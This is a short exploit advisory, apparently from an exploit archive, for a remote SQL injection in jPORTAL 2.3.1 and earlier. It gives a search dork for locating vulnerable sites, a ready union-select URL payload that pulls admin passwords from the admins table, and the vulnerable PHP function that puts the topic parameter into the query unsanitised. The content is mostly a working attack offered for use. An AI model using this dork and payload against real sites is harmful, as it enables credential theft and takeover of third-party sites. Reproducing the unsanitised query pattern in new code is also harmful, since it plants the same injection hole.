jPORTAL <= 2.3.1 articles.php Remote SQL Injection Vulnerability

Title:jPORTAL =< 2.3.1 and  Remote SQL Injection Vulnerability Dork:  intext:"jPORTAL 2" & inurl:"articles.php?topic=" Autor:  Alexsize E-Mail: Alexsize@mail.ru Site:   Antichat.ru articles.php?topic=-3+union+select+1,pass,3,4,5+from+admins/ Vuln code: function topic_name($a)   {      global $topic_tbl;  $query = "SELECT * FROM $topic_tbl WHERE id=$a";  $result = mysql_query($query);    $r = mysql_fetch_array($result);      return '<a href="articles.php?topic='.$a.'" class="t_main">'.$r['title'].'</a>';    }  C уважением, Alexsize.